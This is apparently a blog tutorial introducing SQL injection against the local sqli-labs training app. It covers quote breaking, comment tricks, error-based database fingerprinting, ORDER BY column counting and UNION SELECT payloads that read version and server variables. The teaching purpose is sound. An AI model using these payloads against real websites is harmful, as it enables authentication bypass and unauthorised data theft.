SQL injection is a technique where malicious user can inject SQL Commands into an SQL statement via web page.
An attacker could bypass authentication, access, modify and delete data within a database. In some cases, SQL Injection can even be used to execute commands on the operating system, potentially allowing an attacker to escalate to more damaging attacks inside of a network that sits behind a firewall.
List of Database
- MySQL(Open source),
- MSSQL,
- MS-ACCESS,
- Oracle,
- Postgre SQL(open source),
- SQLite,
Type of SQL Injection
- In Band
- Out of Band
- Blind SQLI
SQLI Exploitation Technique
- Error Based Exploitation
- Union Based Exploitation
- Boolean Based Exploitation
- Time Based Delay Exploitation
- Out of Band Exploitation
Try to Identify- where the application interact with DB
- Authentication Page
- Search Fields
- Post Fields
- Get Fields
- HTTP Header
- Cookie
Basic SQL Functions
| SELECT | read data from the database based on searching criteria |
| INSERT | insert new data into the database |
| UPDATE | update existing data based on given criteria |
| DELETE | delete existing data based on given criteria |
| Order By | used to sort the result-set in ascending or descending order |
| Limit By | statement is used to retrieve records from one or more tables |
SQL Injection Characters
| 1 | Character String Indicators | ‘ or “ |
| 2 | Multiple-line comment | /*….*/ |
| 3 | Addition, concatenate ( or space in URL) | + |
| 4 | Single-line comment | # or – -(hyphen hyphen) |
| 5 | Double pipe (concatenate) | || |
| 6 | Wildcard attribute indicator | % |
| 7 | Local variable | @variable |
| 8 | Global variable | @@variable |
| 9 | Time delay | waitfor delay ’00:00:10’ |
| 10 | String instead of number or vice versa |
Database Fingerprinting
We can find out the database by analyzing the error.
| S.no | Error | Type of Database |
| 1 | You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ”1” LIMIT 0,1′ at line 1 | MySQL |
| 2 | ORA-00933: SQL command not properly ended | Oracle |
| 3 | Microsoft SQL Native Client error ‘80040e14’ Unclosed quotation mark after the character string | MS SQL |
First download sqli lab from here and setup in xampp Open SQLI labs
https://github.com/Audi-1/sqli-labs
Click on Setup/reset Database for labs
Before jumping into Dhakkan lab
Let’s first understand the basics. (How query gets executed at backend? How queries are formed? How can we break them? What exactly is sql injection?
Consider a login page where you are requested to enter username and password, when you enter username and password a query (sql query) is generated at the backend which gets executed and result is displayed to us on home page after login.
Username – Raj
Password – Chandel
So backend query will look like
SELECT * FROM table_name WHERE username=’Raj’ AND password=’Chandel’;
It is totally on the developer how he enclosed the parameter value in the sql query, he can enclose the parameter value in single quote, double quotes, double quotes with bracket etc.
So query may look like
SELECT * FROM table_name WHERE username=’Raj’ AND password=’Chandel’;
SELECT * FROM table_name WHERE username=(’Raj’) AND password=(’Chandel’);
SELECT * FROM table_name WHERE username=”Raj” AND password=”Chandel”;
SELECT * FROM table_name WHERE username=(“Raj”) AND password=(“Chandel”);
Or in any form totally developer’s choice.
I’ll explain further using first query.
Q – What if I enter username = Raj’ ?
Ans – If I enter username=Raj’ backend query will look like
SELECT * FROM table_name WHERE username=’Raj’’ AND password=’Chandel’;
Which is syntactically wrong because of an extra quote
Q- How can we fix this broken query ? Is it possible to do so ?
Ans – Yes it is possible to fix above query even with username = Raj’
We can do so by commenting out the entire query after Raj’
So our valid query will be
SELECT * FROM table_name WHERE username=’Raj’
Which is syntactically correct
Q- How to comment out the remaining query ?
Ans – Well it depends on the database that is there at the backend.
We generally use –+ (hyphen hyphen plus), # (hash)
So if I enter username = Raj’–+
Complete query at backend will look like
SELECT * FROM table_name WHERE username=’Raj’–+’ AND password=’Chandel’;
But our database will read and execute only
SELECT * FROM table_name WHERE username=’Raj’ this much query because everything after –+ will be commented and will not be interpreted as part of the query.
This is what is called SQL INJECTION. Changing backend query using malicious input.
I don’t know if you guys are having an interesting doubt or not but I had when I was learning all these stuff, and the doubt is
According to above query formed by commenting we don’t need a valid password to login?
Yes if the developer had not taken measure to prevent sql injection and implemented the query as shown above it is possible to login using only username.
Confused? Don’t be. I’ll show you this in my upcoming articles. Now you are ready for lab, so let’s start.
Click on lesson 1 and add id as parameter in the URL
Keep on increasing id value (id=1, id=2…and so on) you will notice you will get empty screen with no username and password after id=14 which means database has 14 records.
So backend query must be something like this
SELECT * from table_name WHERE id=’1’;
Or
SELECT * from table_name WHERE id=(’1’);
Or
SELECT * from table_name WHERE id=”1”;
At this point we don’t know how developer enclosed the value of id parameter. Let’s find out
Break the query by fuzzing, enter id=1’
Boommm!! We get the SQL Syntax error. Since this error will help us in finding the back end query and we will do SQL injection using this error, this type of SQL Injection is called Error Based SQL Injection
Now we have to analyze the error See screenshot
You can also find out this using escape character, in mysql \ (back slash) is used to escape a character.
Escaping a character means nullify the special purpose of that character. You will get clearer picture using escape character
It is clear from above screenshots that backend query
Less-1 – SELECT * from table_name WHERE id=’our input’
Less-2 – SELECT * from table_name WHERE id=our input
Less-3 – SELECT * from table_name WHERE id=(’our input’)
Less-4 – SELECT * from table_name WHERE id=(“our input”)
From now I’ll take Less-1 as base lesson to explain further
With our input as 1’ complete backend query will be
SELECT * from table_name WHERE id=’1’’ LIMIT 0,1
Which is syntactically incorrect and I explained above how to make is syntactically correct
By giving input 1’–+ (1 quote hyphen hyphen plus)
Or By giving input 1’–%20 (%20 URL encoding for space)
Or By giving input 1’%23 (%23 URL encoding for #)
http://localhost/sqlilabs/Less-1/?id=1′ –%20
http://localhost/sqlilabs/Less-1/?id=1′ %23
http://localhost/sqlilabs/Less-1/?id=1′ –+
Now we are able to break the query and are able to fix it syntactically.
What Next?
Now we will try to add query between quote and –+ to get information from the database
We’ll use another SELECT query here to get information from database.
Q – Will two SELECT queries work together?
ANS – NO, we have to use UNION operator to make it work.
The UNION operator is used to combine the result-set of two or more SELECT statements.
But for UNION operator there is one precondition that Number of columns on both side of UNION operator should be same.
Since we don’t know the number of columns in the SELECT query at the backend so first we have to find the number of columns used in the SELECT query.
For this we will use ORDER BY clause.
ORDER BY clause will arrange the result set in ascending or descending order of the columns used in the query.
ORDER BY country à will arrange the result set in asc order of elements of column (country)
Now the problem is we even don’t know the names of the column…
Solution to this problem is in ORDER BY clause…
We’ll use ORDER BY 1, ORDER BY 2 etc. because ORDER BY 1 will arrange the result set in ascending order of the column present at first place in the query. (Please note, ORDER BY 1 will not arrange the result set according to first column of the table, it will arrange the result set in ascending order of the column present at first place in the query).
Let’s try now
http://localhost/sqlilabs/Less-1/?id=-1′ order by 1 –+ No Error
http://localhost/sqlilabs/Less-1/?id=-1′ order by 2 –+ No Error
http://localhost/sqlilabs/Less-1/?id=-1′ order by 4 –+ Error
This shows that there is no 4th column in the query. So now we know there are 3 columns in the query at the backend.
So now we can use UNION operator with another SELECT query.
http://localhost/sqlilabs/Less-1/?id=1′ union select 1,2,3 –+
See there is no error but we are getting result set of first query, to get the result of second select query on the screen we have to make the result set of first query as EMPTY. This we can achieve by providing the id that does not exist. We can provide negative id or id >14 because in the starting of article we figured out that there are 14 ids in the database.
http://localhost/sqlilabs/Less-1/?id=-1′ union select 1,2,3 –+
Or
http://localhost/sqlilabs/Less-1/?id=15′ union select 1,2,3 –+
This shows we are getting values of column 2 and column 3 as output. So we’ll use these two columns to extract information about database and from database.
http://localhost/sqlilabs/Less-1/?id=-1′ union select 1,2,version() –+
This will give the version of database used at the backend
http://localhost/sqlilabs/Less-1/?id=-1′ union select 1,database(),version() –+
This will give the database we are using and current version of database used at the backend
Since we are using UNION operator to perform SQL INJECTION, this type of injection is called UNION BASED SQL INJECTION ( a type of ERROR BASED SQL INJECTION)
Since we are using UNION operator to perform SQL INJECTION, this type of injection is called UNION BASED SQL INJECTION ( a type of ERROR BASED SQL INJECTION)
Union Based Sql Injection
| Variable/function | Output |
| user() | Current User |
| database() | Current Database |
| version() | Database Version |
| schema() | Current Database |
| UUID() | System UUID Key |
| current_user() | Current User |
| system_user() | Current System User |
| session_user() | Session User |
| @@hostname | Current Hostname |
| @@tmpdir | Temporary Directory |
| @@datadir | Data Directory |
| @@version | Version of Database |
| @@basedir | Base Directory |
| @@GLOBAL.have_symlink | Check if symlink is Enabled or Disabled |
| @@GLOBAL.have_ssl | Check if it SSL is available |
I think this is enough for this article, we’ll continue from here in my next article where we’ll learn how to dump database using queries the same way we used in this article. In my next article I’ll be using terms like information_schema, table_schema, limit, outfile, it will be easier for you to understand if you know there terms, so read about them and practice what we have learned in this article.
Author – Rinkish Khera is a Web Application security consultant who loves competitive coding, hacking and learning new things about technology. Contact Here
The post Beginner Guide of SQL Injection (Part 1) appeared first on Hacking Articles.